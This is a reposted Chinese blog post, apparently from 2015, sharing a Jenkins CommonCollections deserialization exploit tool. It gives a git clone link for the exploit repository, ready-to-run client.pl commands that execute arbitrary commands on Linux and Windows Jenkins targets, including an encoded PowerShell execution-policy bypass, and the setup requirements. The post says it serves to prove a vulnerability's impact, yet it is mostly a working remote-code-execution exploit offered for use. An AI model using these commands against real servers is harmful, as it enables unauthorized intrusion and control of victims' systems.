zoukankan      html  css  js  c++  java
  • [转]Jenkins CommonCollections 完美利用(演示)工具

    博主URL:http://tools.changesec.com/Jenkins-CommonCollections-Exploit/

    提交漏洞总是要证明漏洞危害,老外写的java代码又有bug,所以随手改掉了

    点击这里下载代码,或者使用如下命令

    git clone https://github.com/CaledoniaProject/jenkins-cli-exploit.git

    来张截图吧,

    工具的具体使用方法,

    如果目标是 Linux、Mac 机器,请使用,

    ./client.pl --url http://127.0.0.1:8080/jenkins/ --os linux --cmd '{ whoami; ls -lh; } > /tmp/hacked'

    如果是 Windows 机器,

    ./client.pl --url http://127.0.0.1:8080/jenkins/ --os win --cmd 'powershell -ep bypass -enc xxxxx'

    环境要求,

    1. 确保你安装了 java、perl
    2. 确保你安装了 IPC::Run 这个PERL模块,安装方法为 cpan IPC::Run
    编写于 November 15, 2015
  • 相关阅读:
    7、python数据类型之集合set
    python基本数据类型练习
    matplotlib
    numpy常用函数
    pillow包
    keras-tensorflow版本对应
    python-激活和切换运行环境
    端口监控
    numpy
    低风险创业笔记
  • 原文地址:https://www.cnblogs.com/sevck/p/5019988.html
Copyright © 2011-2022 走看看